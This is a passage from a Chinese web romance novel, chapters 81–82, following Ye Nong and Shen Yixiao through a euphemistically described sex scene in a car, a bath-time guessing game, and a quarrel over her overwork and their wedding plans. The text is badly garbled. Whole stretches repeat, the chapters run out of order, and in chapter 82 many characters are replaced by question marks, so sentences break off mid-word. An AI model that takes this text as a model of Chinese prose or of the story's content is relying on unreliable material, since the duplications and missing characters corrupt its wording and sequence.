夜浓嘴角抿笑:“你刚刚说,我念不出来,你让我哭一夜,那如果我念出来了呢?” 沈屹骁可不觉得她能念出来。 「我没有良心」无论哪个字的笔画都不少,她能认出来才有鬼了呢。 “随你处置。”他一脸的得意。 夜浓嘴角抿笑:“我没有良心。” 沈屹骁脸上的笑顿时一僵:“......” “对了?” 见他不说话,还一脸吃瘪的表情,夜浓咯咯直笑,她整个人转过来,两只手腕勾住他脖子。 “怎么办,今晚我哭不成喽~” “那你呢?”她歪着脑袋,追着沈屹骁偏开的眼神:“你想怎么哭呀,沈总?” 这句话,让沈屹骁眉梢一挑:“那你就以其人之道还治其人之身。” 想得可真美。 夜浓捏住她两只耳朵:“那可真是可惜,我呢,比较喜欢看沈总笑,所以,就罚你......” 她捧住他脸,在他唇上亲了一下:“给你的沈太太吹头发吧。” 她声音甜,眉眼和唇角的笑更甜,却莫名击中了沈屹骁鼻腔里的酸涩。 让他哭很难很难,但对于她夜浓来说,却易如反掌。 看见他眼底的水汽,夜浓微微一愣,“怎么啦,让你给我吹个头发而已......” 沈屹骁伸手抱住她:“你还记得你放在我那的手机吗?” 那个存满他们恋爱过程的手机。 “一共两千三百二十张,”他声音哽咽,却是笑着的:“都被我洗成了照片。” “在哪?”夜浓下意识就要从他怀里挣开,却又被他有力的双臂锁住。 “在保险箱里。” 别人的保险箱都是用来锁贵重的东西,他可好,锁一堆的照片。 他怎么就...... 鼻子里突然一酸,夜浓抬手轻轻锤在他的后腰上:“不让人家哭,你心里难受是不是?” 沈屹骁轻笑一声,“一夜哭不成,一下总能哭吧?” “我要看。” “不给,”沈屹骁亲在她颈子里:“那是我送你的结婚礼物,要等到婚礼晚上才能给你。” 可是现在才三月,婚礼要等到九月。 还有漫长的六个月。 “那你干嘛现在告诉我,存心要急我吗?” 当然是要急一急她。 不然以她这没什么耐心的性子,要怎么对他们的婚礼保持期待呢? 八十一章 黑色轿车一路朝春江半月方向行驶。 上次过来, 沈屹骁是带着夜浓步行,走的是入户南门。 这次,黑色轿车驶进东侧, 葫芦造型的铁艺大门缓缓打开,缓坡向下,到底是两低中高的电动卷帘门车库。 三个车库内,停的都是沈屹骁购置的新车。 随着司机打开车门, 沈屹骁拍了拍枕在他腿上的人, “宝贝, 到了。” 夜浓撑起胳膊坐起身,“这么快!” 安安静静了一路, 沈屹骁还以为她睡着了。 “你到底醉没醉?”他轻笑了声。 夜浓把两侧头发勾到耳后, 把自己清醒的一双眼睛凑到他脸前:“你看。” 水蒙蒙的, 晃荡着迷离的光,但说话声却一点都不含糊。 沈屹骁在她脸上掐了掐:“所以在酒吧是装的?” “对呀,”夜浓眼里弯出狡黠:“不装醉......” 闷“咚”一声里,鞋从她脚上脱落。 随着她抬膝坐上来,沈屹骁双手抚上她两侧腰肢, “在这里?” “不是你说要在车里的吗?”说着, 她两只胳膊搭着他肩, 吻在他唇上。 她的吻不似沈屹骁那般有着盛夏阳光的烈,更像冬日凛夜里的月, 看着清清冷冷的, 但是后劲很足, 会把人磨得难耐、心痒。 就像现在这样,含着他的唇,轻轻地吮, 把他微凉的唇瓣磨得越来越烫越来越烫,她才探出舌尖,往他唇齿里钻。 开始的时候,沈屹骁还能做到睁开眼看她,被她几下一磨,眼睛不自觉就闭上了。 但碰到她今天这么主动的次数不多,所以他回应很少,整个人享受般的,任她亲着。 直到感觉有一只小手在作乱,紧接着,吻停了。 沈屹骁缓缓睁开眼,凝眸的视线里,他看着她缓缓垂下眼睫,看着她一点、一点抿上自己的唇瓣,看她没醉,但却绯红着的脸颊。 封闭的车厢里,轻微的一点声响都能被放大。 既能听见自己一点一点加速的心跳,也能听见自己不受控制的口耑息。 随着他制止的动作,夜浓抬头看他。 这才发现他额头出了汗。 她身子骨靠过来,修长的天鹅颈后仰,双齿张开,咬在他下巴上。 ② 沈屹骁几乎动用了所有的克制,才咬牙说了三个字:“换辆车。” “好呀。” 嘴上答应,可她云/力作却没停,仰头看他的一双眼,笑得像只狡猾的狐狸。 车库外的壁灯亮着,幽黄的光圈投在这深绛色的夜,尤为得亮。 能清楚看见他微红的眼眶,不是那两杯烈酒染的,是被她柔弱无骨的手指揉出来的。 沈屹骁轮廓崩得紧,忍了又忍,最终仰头闷出长长的一息。 是对自己一向引以为傲的自持的屈服,也是对她的认命。 ③ 像是要找到一个发泄口,沈屹骁抬手扣住她后颈,指掌往前一压,精准无误地吻住她。 这个时候,哪里还讲什么技巧。 带着发/泄,他吻得很急切,磕磕撞撞的,几次咬到她舌尖。 谷欠能解,火难消。 沈屹骁双齿一抵,咬住她唇,重重的鼻息声里,他果断按住她手,眼睛睁开的下一秒,他也松开了她的唇。 只用了很短的时间,在接连的两道关门声里,夜浓被他抱进了另一辆车里。 车厢里昏昏暗暗的,借着外面壁灯的光,只能看见彼此眼底的点点晶亮。 沈屹骁因她的云/力作而抿紧唇。 莽撞又不知轻重里,一道“嘶”音传来。 她不知道的是,就算是她带给他的疼,都让他上瘾。 身上和心头越来越热,一抬头,撞进她目光里。 他好像从她的瞳孔里看见了失态的自己。 想伸手挡住她眼睛,又像是被她一只手捆绑住,动弹不了。 勾子般的声音低在他耳廓:“知道你什么时候最性感吗?” 在他的一道闷声轻叹里,夜浓挺直腰脊,手臂一抬。 轻薄的绒衫被扔在了一旁。 玉龙雪山的杜鹃,越是高山,花开越艳,最为纯粹的潋滟之色,却能与雪山的白融为一体。 置身其中,花香溢鼻,若是用浮满青筋的手捧起一朵含入口中,又能尝出它另一番滋味。 雪山脚下,湿泞湿地,经过,更是能留下撞撞回响。 沈屹骁一向都很露骨,即上云端前,各种磨人。 “喜不喜欢和我?/愛?” 夜浓不是扭捏的性子,但被他要得佷了,免不了要耍些小性子,她不说话,咬住他耳垂,用声音磨他。 结果下巴却被沈屹骁虎口扳过来:“回答我,喜不喜欢?” 平时他宠着她惯着她,这个时候,不听到答案,他会有一千一万个本事让她开口。 “喜...欢...” 以为这就行了,结果沈屹骁却还不依不饶。 “要不要和我?一辈子?”他眼里光亮灼灼,在跟她确定。 夜浓整张脸都红出了羞恼色,作气地不想回答他,去吻他,结果刚一吻住,唇就被他咬住了。 “要不要?” 夜浓快要被他气死了,声音一抬:“要要要!” 他这才彻底满足了似的,双手捧着她的脸,重重地吻下去。 花的绰约、山的壮阔在此交融,更何况干涸的沙漠。 只需要丁点的火星,就能燎原。 月亮多露了一角,月色朦胧带进来的浅白灰影里,沈屹骁俯身去吻她,舌尖感受到了鲜咸。 他心尖一颤,“宝贝。” 身下的人却不理他。 沈屹骁将她偏开的脸小心翼翼地扳过来,“宝贝?” 不出声,却能听见她低低的抽泣。 沈屹骁起身去了主驾驶。 引擎响,车灯亮。 再回来,她满脸泪痕的模样让沈屹骁整个人都慌了。 “怎么哭成这样?” 虽说他经常把她弄哭,也喜欢看她在这个时候哭,可她现在泪眼婆娑的模样,到底还是心疼更多。 “我错了宝贝,”他语气很急,求她似的:“给我看看,是哪——” 夜浓一巴掌拍掉他手:“不给!” 沈屹骁作势捉住她手腕,甩自己脸上,结果夜浓攥着手心,软着手骨。 沈屹骁轻笑一声:“舍不得啊?” 夜浓抬头咬在他肩膀。 不舍得打他脸的手劲,都用在了双齿间。 沈屹骁除了皱紧眉心,吭都没吭一声。 痛感渐消,沈屹骁无声在笑,“不解气的话,一会儿上楼让你多咬两口。” 细腻的绒毯将她包裹得严严实实,将她从车里抱下来的时候,夜浓吸了吸鼻子。 “你就是禽兽。” 他一点都不否认:“嗯,禽兽。” “就会欺负人。” 这他不敢全部承认:“偶尔,也就偶尔。” “哪有偶尔,你是每次!” 想笑,又不敢笑。 沈屹骁低头看她红扑扑的,不知是酒精未退还是情谷欠未消的脸颊,低头亲了亲。 “这么疼吗?” “你说呢?” 笼在毯子下的小手,钻进他未扣的衬衫里,用力掐了掐:“你自己什么呎//寸心里没数?” 这种怨念,在男人听来,可是极大的夸奖。 沈屹骁眉头锁着,嘴角在笑:“按理说,你早该适应了,怎么——” “你还说!” 这种话题聊起来多有意思,沈屹骁舍不得岔开。 “等下上去给我看看,要是还像以前一样,不许忍着,我去给你买药。” 夜浓没说话,含羞带怒的一双眼瞪着他。 沈屹骁低头看了她一眼,没忍住,笑了声:“怎么每次事后都这个表情,嗯?” “嫌弃?” 沈屹骁连连摇头:“没有!” “不喜欢?” 沈屹骁下巴直点:“必须喜欢。” 一张嘴,像是抹了蜜似的。 夜浓“哼”了声:“你等着吧,下次我一定买条链子把你锁起来!” “链子?”沈屹骁故意似的:“不该是手铐吗?” 眼看她眉眼又沉了几分暗色,沈屹骁赶紧换了口风,“行吧,你要是喜欢链子,那咱就买链子,但是这床得换一张,不然你都没地方栓。” 夜浓:“......” 这人真是,什么话都能接。 上了楼,沈屹骁直接把她抱起了浴室。 浴巾铺在洗手池上隔着凉,沈屹骁把她放坐上去:“要不要泡个澡?” 夜浓看向五六米远处的椭圆形浴缸。 沈屹骁把脸凑到她面前:“有干桂也有爱莎,要哪种?” 什么喜好都被他摸得一清二楚,夜浓脚尖踢了他一下:“干桂。” 沈屹骁从来都不会让她一个人泡澡,大学时的那个冬天,一到周末,沈屹骁就会把她带去公寓。 给她放洗澡水,在水里铺满花瓣,是他最热衷做的事,包括给她洗头发、吹头发。 水汽氤氲里,沈屹骁从后面拥着她,撩起的水里,带上来瓣瓣金黄,沾在她白皙的肩膀和手臂上。 他低头吮出一块浅浅的红痕:“还疼吗?” 夜浓摇了摇头。 “下次我轻点。” 这话不知被他说了多少次,根本就没有可信度。 可是被他用软软的调子说出来,就是找不到一个字来反驳他。 沈屹骁把下巴抵在她肩膀,歪头看她:“还生气呢?” 不生气也被他一直问一直问,问出了小小的气性。 夜浓手肘不轻不重地往后戳了戳:“再问就真生气了。” “这样多好,”沈屹骁把她搂紧:“高兴不高兴,生气不生气,全都说出来,知道这个世界上,每天会有多少对情侣因为嘴硬而分手吗?” 以前没发现他这么喜欢说教。 夜浓撇了撇嘴:“所以你在怪我喽?” “当然怪你了。”沈屹骁一点也不藏着:“要不是你嘴硬,我们哪会分开这五年,你知道五年能干多少事吗?” 夜浓:“......” “说不好我们现在连孩子都有了。” 夜浓扭头看他:“就算没有录音笔,我们就一定能走到最后吗?” “这还用说吗?”沈屹骁捉住她手腕:“知道这戒指是我什么时候买的吗?” 夜浓心脏微微一缩。 难道—— “五年前就买了,倾家荡产买的,买完这戒指,我连个早饭都吃不起了。” 本来还感动着呢,结果被他最后一句话说的,夜浓气笑一声:“那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。” 沈屹骁:“......” 夜浓扭头看他:“说话呀。” 沈屹骁双手握住她肩膀,把她往前推了几分:“坐好。” “你干嘛?” 沈屹骁在她后肩一笔一划地写着。 “给你三次机会念出来,不然今晚我让你哭一夜。” 夜浓:“......” 等他写完,夜浓整个人还是懵的。 “是什么?” 见她不说话,沈屹骁又提起指尖,“给你点提示,五个字。” 夜浓气笑一声:“五个字,三次机会,你当我有后眼吗?” “那你就只有哭了。” 夜浓:“......” 后肩膀每落下一笔,夜浓就觉得心脏“咚”的一声,像极了他用力撞她的力度。 五个字就算一笔一划都很慢,也很快就写完了。 “是什么?” 凭感觉,他就是写上一百遍,自己也不可能辨认出来。 所以只能智取。 她刚刚最后一句话说什么来着? 「说话呀」 不是这句,上一句...... 「那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。」 夜浓眼睛一亮,扭头:“五个字?” “嗯。” 夜浓嘴角抿笑:“你刚刚说,我念不出来,你让我哭一夜,那如果我念出来了呢?” 沈屹骁可不觉得她能念出来。 「我没有良心」无论哪个字的笔画都不少,她能认出来才有鬼了呢。 “随你处置。”他一脸的得意。 夜浓嘴角抿笑:“我没有良心。” 沈屹骁脸上的笑顿时一僵:“......” “对了?” 见他不说话,还一脸吃瘪的表情,夜浓咯咯直笑,她整个人转过来,两只手腕勾住他脖子。 “怎么办,今晚我哭不成喽~” “那你呢?”她歪着脑袋,追着沈屹骁偏开的眼神:“你想怎么哭呀,沈总?” 这句话,让沈屹骁眉梢一挑:“那你就以其人之道还治其人之身。” 想得可真美。 夜浓捏住她两只耳朵:“那可真是可惜,我呢,比较喜欢看沈总笑,所以,就罚你......” 她捧住他脸,在他唇上亲了一下:“给你的沈太太吹头发吧。” 她声音甜,眉眼和唇角的笑更甜,却莫名击中了沈屹骁鼻腔里的酸涩。 让他哭很难很难,但对于她夜浓来说,却易如反掌。 看见他眼底的水汽,夜浓微微一愣,“怎么啦,让你给我吹个头发而已......” 沈屹骁伸手抱住她:“你还记得你放在我那的手机吗?” 那个存满他们恋爱过程的手机。 “一共两千三百二十张,”他声音哽咽,却是笑着的:“都被我洗成了照片。” “在哪?”夜浓下意识就要从他怀里挣开,却又被他有力的双臂锁住。 “在保险箱里。” 别人的保险箱都是用来锁贵重的东西,他可好,锁一堆的照片。 他怎么就...... 鼻子里突然一酸,夜浓抬手轻轻锤在他的后腰上:“不让人家哭,你心里难受是不是?” 沈屹骁轻笑一声,“一夜哭不成,一下总能哭吧?” “我要看。” “不给,”沈屹骁亲在她颈子里:“那是我送你的结婚礼物,要等到婚礼晚上才能给你。” 可是现在才三月,婚礼要等到九月。 还有漫长的六个月。 “那你干嘛现在告诉我,存心要急我吗?” 当然是要急一急她。 不然以她这没什么耐心的性子,要怎么对他们的婚礼保持期待呢? 八十二章 三月底, 夜浓的工作开始忙起。 ?无分身乏术,忙了这头,就会疏忽那头。 沈屹骁就是这个「那头」。 周说带?去一家开的餐厅尝尝, 被?一句“忙完这阵再说”而搁置。 一部?期待已久的科幻片映,也因为?一句“没事,等下映从网也能看”而取消。 终于挨到周末可以和?享受一下二?界了,结果?周六在公司加班, 周日在家加班。 弄的他一个市公司的董事?反倒成了闲?。 但是看见?工作劲头那么足, 沈屹骁又实在不忍说一个不字。 掰着手指头算下, 足足忙了半个月。 再这么忙下去,拍婚纱照的时间都要往后推了。 早??送到公司楼下, 沈屹骁问:“今天能准时下班吗?” 夜浓正在低头回短信:“应该能吧。” 四个字里有三个字都是不确定。 沈屹骁无奈:“那?先忙, 下班再说。” 说完, 他刚?脸凑过去想要一个吻,副驾驶的车门开了。 别说goodbyekiss了,就连个再见都没有。 揣着这股郁?,沈屹骁一个午都没么好脸色。 昇了解他的脾?,所以能不出现就尽可能消失。 避免让其他?因为不而火浇油, 一整天, 昇都站在办公室门口, 非重要不可不见的?,不让进, 非时效性的文件, 更是往后推。 沈屹骁是个会自己排解负面情绪的?, 但若是这负面情绪是夜浓带给他的,那就只有?夜浓能解。 五点半,沈屹骁从办公室出。 只一眼, 昇就看出他情还没有由阴转晴。 所以,他只字不说,颔首,只听他交代。 但是沈屹骁是个情不好,一个字都懒得说的?。 六点,沈屹骁准时站在了榕港大厦楼下,仰头看了会,又在车前回走了几圈,最后掏出手机,给最近那位忙的没有一天能准时下班的沈太太打了电话过去。 耳边刚传一?等待音,电话就被挂断了。 又挂他电话,难不成这个点了还在开会? 沈屹骁手指迅速点在屏幕:「要不要我给?算算,这个星期?挂我多少次电话了?」 短信过去十分钟,一个标点符号都没能等。 在楼下不知等哪能让?第一时间看见他的?性,五分钟后,沈屹骁站在了三十层的玻璃门外。 七点十分,眼看有?推门出,沈屹骁走近几步。 “沈总,夜总监还没出,需要我帮?去喊?吗?” 虽说沈屹骁鲜少进这道玻璃门,但他是门口这片区域的常客,一周五个工作日,能看见他的次数,一双手都数不过。 沈屹骁礼貌笑了笑:“不用,我在这等?就好。” 眼看四五个?陆续进了电梯,沈屹骁掏出手机,刚点开屏幕,某?电话就打进了。 “我还要一会儿才能走,?在公司还是在哪?” 沈屹骁差点都听笑了。 冷飕飕的一双眼,盯着玻璃门,“我在家。” 眼神冷,?音也冷,他就不信电话那头的?听不出他的情绪。 然后就听到一?“哦”,然后是一?“行”,紧接着是“我知道了”—— “那我一会儿打车回去。” 沈屹骁直接被?到说不出话。 “喂?” 沈屹骁是真想挂断电话,但是握着手机的右手就是不听话,手不听话,嘴也不听话。 “行,那?先忙吧,挂了。” 说完最后这两个字,他才?手机从耳边拿下。 不听话的何止是手和嘴,还有他的脚。 拿着手机的手就这么垂在耳边,沈屹骁直直盯着那扇双开玻璃门,足足盯了好几分钟,最后他两步走过去,摁响门铃。 接待的姑娘叫陈妙可,见是他,忙开了门,“沈总,夜总监——” 沈屹骁说不用:“让?忙完,我在这等?。” 说完,他往接待区的沙里一坐。 作为接待,怎好让他干坐着,陈妙可去给他倒了杯水:“沈总,您喝水。” 沈屹骁捏着眉的手放了下,一?“谢谢”后,他端起水杯,指腹碰到的滚烫让他皱了皱眉,“麻烦给我一杯冰水。” 陈妙可又赶紧去茶水间的冰箱里拿了瓶冰的矿泉水过。 “沈总,这个可以吗?” 沈屹骁没说话,接到手里,拧开盖,一口气喝了半瓶下去。 再抬头,现?还站他面前。 沈屹骁眉心拧出排斥:“?忙?的,不用管我。” ?忙么呀,本来她都可以下班了。 陈妙可抿了抿唇:“沈总,真不用我帮您去......”?手往后指了指。 沈屹骁还是那句不用:“?忙完会自己出。” 不知是不是自己错觉,陈妙可总觉得这位沈总今天情不是很好,难道是惹女朋友生?,但是又不敢主?去找...... 想到这,陈妙可默默转身,结果刚一越过接待台—— “我说了,别告诉?我在这!” 低沉带着警告的?音从身后传,陈妙可双脚猛然停住,扭头,只见平日里温和有礼的?,正用一双摄?的目光看着?。 脏和瞳孔几乎同时一缩。 想说自己不是去总监办公室,又觉得自己的思怕是早被那双眼看了个干净,陈妙可垂着眉眼转过身。 刚一站到接待台里,让?寒毛直竖的?音再度传—— “这么晚了,?不下班?” 话都说到这份了,陈妙可哪还敢继续待着,抓起自己的包就往门口溜,推门之前还不忘说一句:“沈总再见。” 但是没能敲到总监办公室的门,不影响?短信告知。 只可惜夜浓忙得没能及时去注短信,直到半个时后,?拿着水杯从办公室出。 乳白色的四?位沙里,多了明晃晃的半截深色。 夜浓定睛一看,眼睛瞬间睁大了一圈。 这?不是在家吗,怎么一转眼又跑到?公司了。重点是,了也不进找?,跑沙里等着是么回事。 水也没接,夜浓端着只空水杯走过。 靠着沙,抱着胳膊,后脑勺还仰着沙靠背。 这?该不会是睡着了? ?放轻脚步,走到沙扶手边,弯着腰定睛看了会儿,现他眼睫安安静静地铺着。 还真是睡着了。 夜浓抬起手腕看了眼时间,快八点了。 所以这?是在这等了多久? 回味起电话里简短的几句话,夜浓这才后知后觉到他当时话音里的不对劲。 所以这?该不会压根就没回家,而是一直在这坐着? 脏某一处突然塌陷了一块地方。 夜浓低头?唇轻轻印在他阖着眼睛。 感觉到他眼睫扑簌了一下,夜浓这才?唇移开。 和他困倦明显的一双眼对,夜浓噘了噘唇:“怎么不进去找我呀?” 软呼呼的调子,就这么轻而易举的,将沈屹骁满腹的?性吹散了。 但是这一整天的?不能白生。 沈屹骁眼睛一闭,继续八风不?地坐着,但是他嘴不怂,生怕?看不见、听不出、感觉不到他在生?似的—— “夜总监不是在忙吗?” “工作重要,老公算么。” “就让我在这等着呗。” “五年都等过了,一晚又算得了么。” 每一字每一句,无不彰显着他在生?,而且?得不轻。 夜浓?唇角的笑抿下去,明知故问:“生?啦?” 沈屹骁依旧眼闭着:“没有。” 都?成这样还不承认。 夜浓索性顺着他话:“我就知道,老公怎么可能会因为这种事生?。” 沈屹骁眼皮一掀,嘴角刚一张开—— “而且老公这么疼我爱我,就算想生?也不会真的跟我生?的。” 沈屹骁:“......” “我说的对不对?” 沈屹骁:“......” “对不对嘛?”娇娇软软的音还没落,夜浓就在他额头亲了一下:“说话呀。” 因为头后仰着,他喉结凸起明显,下滑滚间,他不情不愿地“嗯”了?。 一?“嗯”能说明得了么? 夜浓不依不饶:“所以?有没有生我的??” 又喊老公,又撒娇的,简直就像拿?软刀子,抵在他脖子。 所以除了说一?“没有”,他还有第二种选择吗? 顺着?意,说了那两个字后,沈屹骁坐正回去,刚想拍拍旁边的位置让?过,夜浓就主?坐了过去。 看出?的有讨好,沈屹骁思微?。 “次我说的那家餐厅——” “周末吧,周末就去!” 还挺有自知之明。 沈屹骁又说:“还有婚纱照——” 夜浓几乎撵着他的尾音:“也放在周末吧。” 沈屹骁歪头看?:“请柬呢,看得怎么样了?” 夜浓忙点头:“差不多了,回头咱俩再确认一下。” 差不多,估计是还没及看。 沈屹骁懒得拆穿?,又问:“那订婚的地方呢?” 沈屹骁给了?三个地方,一个是酒店,一个是海边度假村,还有一个是谢绝所有媒体的私?订婚宴,在他们的家,春江半月的后花园里。 夜浓知道他偏于第三种,而?,也不想光是一个订婚宴就弄得满城皆知。 “就在我们家办吧。” 沈屹骁??往怀里搂:“次去香港,只是简单拜访了?父亲,下周末,我们再回去一趟。” 夜浓点了点头:“但是我妈那边,我不想?过去。” 沈屹骁轻轻摩挲着?肩膀:“即便?有万般的不是,可到底也是生?养?的母亲,我怎能不去?” 夜浓的母亲,只要?不提,沈屹骁一般不会主?提及。 因为他知道,那是?最不愿被碰触的一块地方。 他更知道,有些伤害,不是?想去修复就能修复得了的,而他想做的,从始至终都是—— “沈屹骁。” “我在。” 八十一章 黑色轿车一路朝春江半月方向行驶。 上次过来, 沈屹骁是带着夜浓步行,走的是入户南门。 这次,黑色轿车驶进东侧, 葫芦造型的铁艺大门缓缓打开,缓坡向下,到底是两低中高的电动卷帘门车库。 三个车库内,停的都是沈屹骁购置的新车。 随着司机打开车门, 沈屹骁拍了拍枕在他腿上的人, “宝贝, 到了。” 夜浓撑起胳膊坐起身,“这么快!” 安安静静了一路, 沈屹骁还以为她睡着了。 “你到底醉没醉?”他轻笑了声。 夜浓把两侧头发勾到耳后, 把自己清醒的一双眼睛凑到他脸前:“你看。” 水蒙蒙的, 晃荡着迷离的光,但说话声却一点都不含糊。 沈屹骁在她脸上掐了掐:“所以在酒吧是装的?” “对呀,”夜浓眼里弯出狡黠:“不装醉......” 闷“咚”一声里,鞋从她脚上脱落。 随着她抬膝坐上来,沈屹骁双手抚上她两侧腰肢, “在这里?” “不是你说要在车里的吗?”说着, 她两只胳膊搭着他肩, 吻在他唇上。 她的吻不似沈屹骁那般有着盛夏阳光的烈,更像冬日凛夜里的月, 看着清清冷冷的, 但是后劲很足, 会把人磨得难耐、心痒。 就像现在这样,含着他的唇,轻轻地吮, 把他微凉的唇瓣磨得越来越烫越来越烫,她才探出舌尖,往他唇齿里钻。 开始的时候,沈屹骁还能做到睁开眼看她,被她几下一磨,眼睛不自觉就闭上了。 但碰到她今天这么主动的次数不多,所以他回应很少,整个人享受般的,任她亲着。 直到感觉有一只小手在作乱,紧接着,吻停了。 沈屹骁缓缓睁开眼,凝眸的视线里,他看着她缓缓垂下眼睫,看着她一点、一点抿上自己的唇瓣,看她没醉,但却绯红着的脸颊。 封闭的车厢里,轻微的一点声响都能被放大。 既能听见自己一点一点加速的心跳,也能听见自己不受控制的口耑息。 随着他制止的动作,夜浓抬头看他。 这才发现他额头出了汗。 她身子骨靠过来,修长的天鹅颈后仰,双齿张开,咬在他下巴上。 ② 沈屹骁几乎动用了所有的克制,才咬牙说了三个字:“换辆车。” “好呀。” 嘴上答应,可她云/力作却没停,仰头看他的一双眼,笑得像只狡猾的狐狸。 车库外的壁灯亮着,幽黄的光圈投在这深绛色的夜,尤为得亮。 能清楚看见他微红的眼眶,不是那两杯烈酒染的,是被她柔弱无骨的手指揉出来的。 沈屹骁轮廓崩得紧,忍了又忍,最终仰头闷出长长的一息。 是对自己一向引以为傲的自持的屈服,也是对她的认命。 ③ 像是要找到一个发泄口,沈屹骁抬手扣住她后颈,指掌往前一压,精准无误地吻住她。 这个时候,哪里还讲什么技巧。 带着发/泄,他吻得很急切,磕磕撞撞的,几次咬到她舌尖。 谷欠能解,火难消。 沈屹骁双齿一抵,咬住她唇,重重的鼻息声里,他果断按住她手,眼睛睁开的下一秒,他也松开了她的唇。 只用了很短的时间,在接连的两道关门声里,夜浓被他抱进了另一辆车里。 车厢里昏昏暗暗的,借着外面壁灯的光,只能看见彼此眼底的点点晶亮。 沈屹骁因她的云/力作而抿紧唇。 莽撞又不知轻重里,一道“嘶”音传来。 她不知道的是,就算是她带给他的疼,都让他上瘾。 身上和心头越来越热,一抬头,撞进她目光里。 他好像从她的瞳孔里看见了失态的自己。 想伸手挡住她眼睛,又像是被她一只手捆绑住,动弹不了。 勾子般的声音低在他耳廓:“知道你什么时候最性感吗?” 在他的一道闷声轻叹里,夜浓挺直腰脊,手臂一抬。 轻薄的绒衫被扔在了一旁。 玉龙雪山的杜鹃,越是高山,花开越艳,最为纯粹的潋滟之色,却能与雪山的白融为一体。 置身其中,花香溢鼻,若是用浮满青筋的手捧起一朵含入口中,又能尝出它另一番滋味。 雪山脚下,湿泞湿地,经过,更是能留下撞撞回响。 沈屹骁一向都很露骨,即上云端前,各种磨人。 “喜不喜欢和我?/愛?” 夜浓不是扭捏的性子,但被他要得佷了,免不了要耍些小性子,她不说话,咬住他耳垂,用声音磨他。 结果下巴却被沈屹骁虎口扳过来:“回答我,喜不喜欢?” 平时他宠着她惯着她,这个时候,不听到答案,他会有一千一万个本事让她开口。 “喜...欢...” 以为这就行了,结果沈屹骁却还不依不饶。 “要不要和我?一辈子?”他眼里光亮灼灼,在跟她确定。 夜浓整张脸都红出了羞恼色,作气地不想回答他,去吻他,结果刚一吻住,唇就被他咬住了。 “要不要?” 夜浓快要被他气死了,声音一抬:“要要要!” 他这才彻底满足了似的,双手捧着她的脸,重重地吻下去。 花的绰约、山的壮阔在此交融,更何况干涸的沙漠。 只需要丁点的火星,就能燎原。 月亮多露了一角,月色朦胧带进来的浅白灰影里,沈屹骁俯身去吻她,舌尖感受到了鲜咸。 他心尖一颤,“宝贝。” 身下的人却不理他。 沈屹骁将她偏开的脸小心翼翼地扳过来,“宝贝?” 不出声,却能听见她低低的抽泣。 沈屹骁起身去了主驾驶。 引擎响,车灯亮。 再回来,她满脸泪痕的模样让沈屹骁整个人都慌了。 “怎么哭成这样?” 虽说他经常把她弄哭,也喜欢看她在这个时候哭,可她现在泪眼婆娑的模样,到底还是心疼更多。 “我错了宝贝,”他语气很急,求她似的:“给我看看,是哪——” 夜浓一巴掌拍掉他手:“不给!” 沈屹骁作势捉住她手腕,甩自己脸上,结果夜浓攥着手心,软着手骨。 沈屹骁轻笑一声:“舍不得啊?” 夜浓抬头咬在他肩膀。 不舍得打他脸的手劲,都用在了双齿间。 沈屹骁除了皱紧眉心,吭都没吭一声。 痛感渐消,沈屹骁无声在笑,“不解气的话,一会儿上楼让你多咬两口。” 细腻的绒毯将她包裹得严严实实,将她从车里抱下来的时候,夜浓吸了吸鼻子。 “你就是禽兽。” 他一点都不否认:“嗯,禽兽。” “就会欺负人。” 这他不敢全部承认:“偶尔,也就偶尔。” “哪有偶尔,你是每次!” 想笑,又不敢笑。 沈屹骁低头看她红扑扑的,不知是酒精未退还是情谷欠未消的脸颊,低头亲了亲。 “这么疼吗?” “你说呢?” 笼在毯子下的小手,钻进他未扣的衬衫里,用力掐了掐:“你自己什么呎//寸心里没数?” 这种怨念,在男人听来,可是极大的夸奖。 沈屹骁眉头锁着,嘴角在笑:“按理说,你早该适应了,怎么——” “你还说!” 这种话题聊起来多有意思,沈屹骁舍不得岔开。 “等下上去给我看看,要是还像以前一样,不许忍着,我去给你买药。” 夜浓没说话,含羞带怒的一双眼瞪着他。 沈屹骁低头看了她一眼,没忍住,笑了声:“怎么每次事后都这个表情,嗯?” “嫌弃?” 沈屹骁连连摇头:“没有!” “不喜欢?” 沈屹骁下巴直点:“必须喜欢。” 一张嘴,像是抹了蜜似的。 夜浓“哼”了声:“你等着吧,下次我一定买条链子把你锁起来!” “链子?”沈屹骁故意似的:“不该是手铐吗?” 眼看她眉眼又沉了几分暗色,沈屹骁赶紧换了口风,“行吧,你要是喜欢链子,那咱就买链子,但是这床得换一张,不然你都没地方栓。” 夜浓:“......” 这人真是,什么话都能接。 上了楼,沈屹骁直接把她抱起了浴室。 浴巾铺在洗手池上隔着凉,沈屹骁把她放坐上去:“要不要泡个澡?” 夜浓看向五六米远处的椭圆形浴缸。 沈屹骁把脸凑到她面前:“有干桂也有爱莎,要哪种?” 什么喜好都被他摸得一清二楚,夜浓脚尖踢了他一下:“干桂。” 沈屹骁从来都不会让她一个人泡澡,大学时的那个冬天,一到周末,沈屹骁就会把她带去公寓。 给她放洗澡水,在水里铺满花瓣,是他最热衷做的事,包括给她洗头发、吹头发。 水汽氤氲里,沈屹骁从后面拥着她,撩起的水里,带上来瓣瓣金黄,沾在她白皙的肩膀和手臂上。 他低头吮出一块浅浅的红痕:“还疼吗?” 夜浓摇了摇头。 “下次我轻点。” 这话不知被他说了多少次,根本就没有可信度。 可是被他用软软的调子说出来,就是找不到一个字来反驳他。 沈屹骁把下巴抵在她肩膀,歪头看她:“还生气呢?” 不生气也被他一直问一直问,问出了小小的气性。 夜浓手肘不轻不重地往后戳了戳:“再问就真生气了。” “这样多好,”沈屹骁把她搂紧:“高兴不高兴,生气不生气,全都说出来,知道这个世界上,每天会有多少对情侣因为嘴硬而分手吗?” 以前没发现他这么喜欢说教。 夜浓撇了撇嘴:“所以你在怪我喽?” “当然怪你了。”沈屹骁一点也不藏着:“要不是你嘴硬,我们哪会分开这五年,你知道五年能干多少事吗?” 夜浓:“......” “说不好我们现在连孩子都有了。” 夜浓扭头看他:“就算没有录音笔,我们就一定能走到最后吗?” “这还用说吗?”沈屹骁捉住她手腕:“知道这戒指是我什么时候买的吗?” 夜浓心脏微微一缩。 难道—— “五年前就买了,倾家荡产买的,买完这戒指,我连个早饭都吃不起了。” 本来还感动着呢,结果被他最后一句话说的,夜浓气笑一声:“那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。” 沈屹骁:“......” 夜浓扭头看他:“说话呀。” 